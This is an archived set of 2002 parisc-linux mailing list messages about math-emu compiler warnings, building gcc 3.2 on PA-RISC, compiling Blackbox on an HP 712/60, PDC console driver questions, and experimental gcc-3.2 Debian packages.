Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Apr 17 09:45:11 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 51267482A
	for <parisc-linux@parisc-linux.org>; Wed, 17 Apr 2002 09:45:10 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 16xrc7-0004cI-00; Wed, 17 Apr 2002 16:44:55 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <E16xqdU-0001WN-00@paul.bame>; from bame@fc.hp.com on Wed, Apr 17, 2002 at 08:42:16AM -0600
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14602

On Wed, Apr 17, 2002 at 08:42:16AM -0600, Paul Bame wrote:
> Here's the README in the math-emu directory which describes why we
> leave the warnings in:
> 
> "All files except driver.c are snapshots from the HP-UX kernel.  They've
>  been modified as little as possible.  Even though they don't fit the
>  Linux coding style, please leave them in their funny format just in case
>  someone in the future, with access to HP-UX source code, is generous
>  enough to update our copies with later changes from HP-UX -- it'll
>  make their 'diff' job easier if our code is relatively unmodified.

Sure, but I don't think adding

#include "math-emu.h"

to each file will make anyone's life more difficult.  Nor even

float sfod(float, float);
float ssinf(double);
...

-- 
Revolutions do not require corporate support.



From - Thu Nov 08 21:22:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: joel.soete@freebel.net
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] linux-2.4.18-pa19 fpu problem
Date: Wed, 17 Apr 2002 19:24:53 +0200 (CEST)
Lines: 29
Approved: news@gmane.org
Message-ID: <1019064293.3cbdafe56b7ad@webmail.tiscalinet.be>
References: <1019034174.3cbd3a3e2c5a5@webmail.tiscalinet.be> <20020417123211.L23804@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621240 6280 80.91.229.3 (22 Nov 2014 01:54:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:54:00 +0000 (UTC)
Cc: joel.soete@freebel.net, parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Apr 17 11:26:08 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from webmail.tiscalinet.be (webmail1.tiscali.be [212.35.2.121])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9695B482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 17 Apr 2002 11:26:07 -0600 (MDT)
Original-Received: from www-data by webmail.tiscalinet.be with local (Tiscali) 
	id 16xtAr-0001SB-00; Wed, 17 Apr 2002 19:24:53 +0200
In-Reply-To: <20020417123211.L23804@parcelfarce.linux.theplanet.co.uk>
User-Agent: IMP/PHP IMAP webmail program 2.2.4
X-Originating-IP: 193.75.200.2
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14603

Quoting Matthew Wilcox <willy@debian.org>:

> On Wed, Apr 17, 2002 at 11:02:54AM +0200, joel.soete@freebel.net wrote:
> > Here is some trace I get from the kernel (2.4.18-pa19) make (after a
> make
> > oldconfig):
> ...
> > I do think that lacks a header to define some function.
> 
> this code is crufty old HPUX stuff... the warnings have been there
> basically forever, and nobody's bothered to fix them.  Nobody's found a
> problem either :-) If you want to eliminate these warnings by declaring
> everything properly, feel free to send a patch, but I don't think it's
> very important.

Thanks for info.

In fact I test to compile this kernel with gcc-3.2 (snapshot) and severall time
it failled and I suspect wrongly that it could be the cause but it is certainly
somewhere else (don't rememnber exactly). Never the less  I will try to make
this patch.

Joel


-------------------------------------------------
This mail sent through Tiscali Webmail (http://webmail.tiscali.be)



From - Thu Nov 08 21:22:27 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Mcclain <jmccla3@gl.umbc.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] gcc-3.2 for parisc
Date: Wed, 17 Apr 2002 15:41:25 -0400 (EDT)
Lines: 20
Approved: news@gmane.org
Message-ID: <Pine.GSO.4.31L.02.0204171535110.2863-100000@solaris1.gl.umbc.edu>
References: <1019064293.3cbdafe56b7ad@webmail.tiscalinet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416621241 6283 80.91.229.3 (22 Nov 2014 01:54:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:54:01 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Apr 17 13:41:38 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mx3out.umbc.edu (mx3out.umbc.edu [130.85.253.53])
	by dsl2.external.hp.com (Postfix) with ESMTP id 76F71482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 17 Apr 2002 13:41:37 -0600 (MDT)
Original-Received: from solaris1.gl.umbc.edu (solaris1.gl.umbc.edu [130.85.60.40])
	by mx3out.umbc.edu (8.12.0/8.12.0/UMBC-Central 1.9 mxout  1.2.2.2 $) with ESMTP id g3HJfOn6019614
	for <parisc-linux@lists.parisc-linux.org>; Wed, 17 Apr 2002 15:41:25 -0400 (EDT)
Original-Received: from localhost (jmccla3@localhost)
	by solaris1.gl.umbc.edu (8.12.1/8.12.0) with ESMTP id g3HJfPQv003099
	for <parisc-linux@lists.parisc-linux.org>; Wed, 17 Apr 2002 15:41:25 -0400 (EDT)
X-Authentication-Warning: solaris1.gl.umbc.edu: jmccla3 owned process doing -bs
In-Reply-To: <1019064293.3cbdafe56b7ad@webmail.tiscalinet.be>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14604

hello all,

i've seen a bit of discussion lately about people using the gcc 3.2
snapshot on parisc linux.  i would like to know if anyone has provided or
will provide a guide to getting it going on parisc linux at all?

are you talking about the mainstream gcc 3.2 from the gcc cvs development
tree?  i haven't been able to compile that at all.  i tried with my old
gcc 3.0.2 on my parisc box, and i also tried to cross compile it with the
latest x86 cross compiler from the ftp.parisc-linux.org.

when i try to compile it i'm overcome with internal compiler errors, so i
guess with a newer or better compiler i could build it but of course there
is the cache-22.

thanks,
james w. mcclain




From - Thu Nov 08 21:22:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] gcc-3.2 for parisc
Date: Wed, 17 Apr 2002 21:59:16 -0400 (EDT)
Lines: 17
Approved: news@gmane.org
Message-ID: <200204180159.g3I1xGQT015152@hiauly1.hia.nrc.ca>
References: <Pine.GSO.4.31L.02.0204171535110.2863-100000@solaris1.gl.umbc.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621241 6287 80.91.229.3 (22 Nov 2014 01:54:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:54:01 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: jmccla3@gl.umbc.edu (James Mcclain)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Apr 17 19:59:19 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id A1BF7482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 17 Apr 2002 19:59:18 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id g3I1xGFN015153;
	Wed, 17 Apr 2002 21:59:16 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id g3I1xGQT015152;
	Wed, 17 Apr 2002 21:59:16 -0400 (EDT)
In-Reply-To: <Pine.GSO.4.31L.02.0204171535110.2863-100000@solaris1.gl.umbc.edu> from "James Mcclain" at Apr 17, 2002 03:41:25 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14605

> are you talking about the mainstream gcc 3.2 from the gcc cvs development
> tree?  i haven't been able to compile that at all.  i tried with my old

Yes.

> gcc 3.0.2 on my parisc box, and i also tried to cross compile it with the
> latest x86 cross compiler from the ftp.parisc-linux.org.

The trick as I recall is to compile stage1 with -O2.  You should also
build cvs binutils and install it first.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)



From - Thu Nov 08 21:22:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <tausq@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] gcc-3.2 for parisc
Date: Wed, 17 Apr 2002 20:48:07 -0700
Lines: 10
Approved: news@gmane.org
Message-ID: <20020418034807.GA7563@tausq.org>
References: <1019064293.3cbdafe56b7ad@webmail.tiscalinet.be> <Pine.GSO.4.31L.02.0204171535110.2863-100000@solaris1.gl.umbc.edu>
Reply-To: Randolph Chung <tausq@debian.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621241 6296 80.91.229.3 (22 Nov 2014 01:54:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:54:01 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: James Mcclain <jmccla3@gl.umbc.edu>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Apr 17 21:45:00 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.pangeatech.com (pxofc151-phx1.pangeatech.com [63.110.32.151])
	by dsl2.external.hp.com (Postfix) with ESMTP id B9618482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 17 Apr 2002 21:44:59 -0600 (MDT)
Original-Received: from [65.192.22.133] by mail.pangeatech.com (NTMail 7.00.0018/NU8172.00.e2123c13) with ESMTP id vdnrmaaa for parisc-linux@lists.parisc-linux.org; Wed, 17 Apr 2002 20:43:56 -0700
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id DB5CFCD63F; Wed, 17 Apr 2002 20:48:07 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <Pine.GSO.4.31L.02.0204171535110.2863-100000@solaris1.gl.umbc.edu>
User-Agent: Mutt/1.3.28i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14606

> i've seen a bit of discussion lately about people using the gcc 3.2
> snapshot on parisc linux.  i would like to know if anyone has provided or
> will provide a guide to getting it going on parisc linux at all?

i plan to build unofficial debian packages of these tools in the near
future.

randolph



From - Thu Nov 08 21:22:28 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: s-clarob@st-aidans.cumbria.sch.uk
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Black Box
Date: Thu, 18 Apr 2002 12:31:00 +0100
Lines: 34
Approved: news@gmane.org
Message-ID: <5.1.0.14.0.20020418121812.00a597f0@10.106.16.2>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; format=flowed; charset=us-ascii
Content-Transfer-Encoding: 7BIT
X-Trace: ger.gmane.org 1416621242 6328 80.91.229.3 (22 Nov 2014 01:54:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:54:02 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Apr 18 05:35:35 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cleo0.lancs.ac.uk (unknown [212.219.207.2])
	by dsl2.external.hp.com (Postfix) with ESMTP id DF5DE482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 18 Apr 2002 05:35:34 -0600 (MDT)
Original-Received: from name1.st-aidans.cumbria.sch.uk ([212.219.204.44])
 by cleo0.lancs.ac.uk (Sun Internet Mail Server sims.4.0.1999.06.13.00.20)
 with ESMTP id <0GUR00L3LHJ8S2@cleo0.lancs.ac.uk> for
 parisc-linux@lists.parisc-linux.org; Thu, 18 Apr 2002 12:35:32 +0100 (BST)
Original-Received: from NETADMIN2.st-aidans.cumbria.sch.uk (s-clarob@[10.106.17.19])
	by name1.st-aidans.cumbria.sch.uk (8.9.3/8.9.3) with ESMTP id MAA12678	for
 <parisc-linux@lists.parisc-linux.org>; Thu, 18 Apr 2002 12:33:18 -0400
X-Sender: s-clarob@10.106.16.2
X-Mailer: QUALCOMM Windows Eudora Version 5.1
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14607

I have just bought an old 712/60 yesterday, download the latest ISO and 
installed it .

Quite impressed since I usually run Mandrake 8.1 on Intel equipmnet.

I fixed the XF86config to get the X Window server working with the frame 
buffer (after having to build fbset from source to find out what my setting 
should be). And sorted the mouse out.

The 712/60 is a little slow with gnome so I want to use Blackbox.

Does anyone have any experience with getting It to compile and install as I 
get some errors .

configure seems ok,

but the main make ends in

make[2]: *** [BaseDisplay.o] Error 1
make[2]: Leaving Directory `/home/robin/blackbox-0.61.1/src`
make[1]: *** [all-recursive] Error 1
make[1]: Leaving Directory `/home/robin/blackbox-0.61.1
make: *** [all-recursive-am] Error 2

Not being the worlds greatest programer I have no Idea where to start.

Anyone got it installed?

Thanks

Robin.




From - Thu Nov 08 21:22:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ralf Hildebrandt <Ralf.Hildebrandt@charite.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Black Box
Date: Thu, 18 Apr 2002 13:39:32 +0200
Lines: 18
Approved: news@gmane.org
Message-ID: <20020418113932.GN1716@charite.de>
References: <5.1.0.14.0.20020418121812.00a597f0@10.106.16.2>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621242 6335 80.91.229.3 (22 Nov 2014 01:54:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:54:02 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: s-clarob@st-aidans.cumbria.sch.uk
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Apr 18 05:39:36 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hauptpostamt.charite.de (hauptpostamt.charite.de [193.175.73.10])
	by dsl2.external.hp.com (Postfix) with ESMTP id EBCA1482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 18 Apr 2002 05:39:35 -0600 (MDT)
Original-Received: from postamt1.charite.de (postamt1.charite.de [193.175.66.246])
	by hauptpostamt.charite.de (Postfix) with ESMTP
	id A7D9E15C012; Thu, 18 Apr 2002 13:39:33 +0200 (CEST)
Original-Received: by postamt1.charite.de (Postfix, from userid 7945)
	id 37771633B4; Thu, 18 Apr 2002 13:39:33 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <5.1.0.14.0.20020418121812.00a597f0@10.106.16.2>
User-Agent: Mutt/1.3.28i
X-Virus-Scanned: by AMaViS snapshot-20020300
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14608

On Thu, Apr 18, 2002 at 12:31:00PM +0100, s-clarob@st-aidans.cumbria.sch.uk wrote:

> Does anyone have any experience with getting It to compile and install as I 
> get some errors .

apt-get install blackbox

Remember, this is Debian, not Mandrake.

-- 
Ralf Hildebrandt (Im Auftrag des Referat V A)   Ralf.Hildebrandt@charite.de
Charite Campus Virchow-Klinikum                 Tel.  +49 (0)30-450 570-155
Referat V A - Kommunikationsnetze -             Fax.  +49 (0)30-450 570-916
Why you can't find your system administrators:
(S)he's standing behind you, holding an axe. 




From - Thu Nov 08 21:22:28 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Plattner <christoph.plattner@gmx.at>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Some old and new questions on Linux drivers, PDC console,etc..
Date: Thu, 18 Apr 2002 21:53:06 +0200
Organization: private
Lines: 28
Approved: news@gmane.org
Message-ID: <3CBF2422.2632C6B@gmx.at>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621242 6339 80.91.229.3 (22 Nov 2014 01:54:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:54:02 +0000 (UTC)
Cc: "parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
To: "rbradetich@uswest.net" <rbradetich@uswest.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Apr 18 13:53:28 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from viefep11-int.chello.at (viefep11-int.chello.at [213.46.255.27])
	by dsl2.external.hp.com (Postfix) with ESMTP id 40353482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 18 Apr 2002 13:53:26 -0600 (MDT)
Original-Received: from gmx.at ([62.178.92.247]) by viefep11-int.chello.at
          (InterMail vM.5.01.03.06 201-253-122-118-106-20010523) with ESMTP
          id <20020418195316.NOIO1155.viefep11-int.chello.at@gmx.at>;
          Thu, 18 Apr 2002 21:53:16 +0200
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.4.6 i686)
X-Accept-Language: en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14609

Hello Ryan,

after long time, I want to cantact you again.

First of all a question. Those days you added for me the config stuff
for the PDC console driver for the E55 and other non-standard machines.
I was not able to do this, and today I also not able to do so.

Can you give me a short introduction, where I have to add what, which
are the dependencies, etc, etc, etc....
In the future I also want to have that skills.

What the status of your driver development of the MUX, or SCSI ?
Have you find the SCSI sources (MACH kernel) ?

Would be nice to hear from you

With friendly regards
Christoph P.


-- 
-------------------------------------------------------
private:	christoph.plattner@gmx.at
company:	christoph.plattner@alcatel.at




From - Thu Nov 08 21:22:28 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <tausq@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] gcc-3.2 experimental debs
Date: Fri, 19 Apr 2002 15:16:23 -0700
Lines: 25
Approved: news@gmane.org
Message-ID: <20020419221623.GG32033@tausq.org>
Reply-To: Randolph Chung <tausq@debian.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621243 6348 80.91.229.3 (22 Nov 2014 01:54:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:54:03 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Apr 19 16:15:39 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.pangeatech.com (pxofc151-phx1.pangeatech.com [63.110.32.151])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7F6D8482A
	for <parisc-linux@parisc-linux.org>; Fri, 19 Apr 2002 16:15:38 -0600 (MDT)
Original-Received: from [65.192.22.133] by mail.pangeatech.com (NTMail 7.00.0018/NU8172.00.e2123c13) with ESMTP id sowsmaaa for parisc-linux@parisc-linux.org; Fri, 19 Apr 2002 15:14:31 -0700
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id E80E4CD63F; Fri, 19 Apr 2002 15:16:23 -0700 (PDT)
Content-Disposition: inline
User-Agent: Mutt/1.3.28i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14610

I've uploaded an experimental gcc-3.2 debian package to:

ftp://ftp.parisc-linux.org/unofficial-debs/gcc-3.2_20020417-1_hppa.deb 

for people who feel adventurous and wants to try. As the name suggests
it's built from gcc-3.2 cvs from two days ago. The deb is unfortunately
quite large (26M) because it also contains binutils bits and has
c/c++/fortran/objc compilers enabled.

The regression test results are looking quite good, and at least on the
two cases I've tried the functions-sections problems are fixed.

The package installs into /usr/local, and I want to stress here
that these are only for experimental use and are not part of the
official debian release.

Having said that, try them out and let us know how it works out!

Last but not least, thanks Dave for all your efforts! gcc-3.2 looks
really quite a bit better than 3.0.x

randolph




From - Thu Nov 08 21:22:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
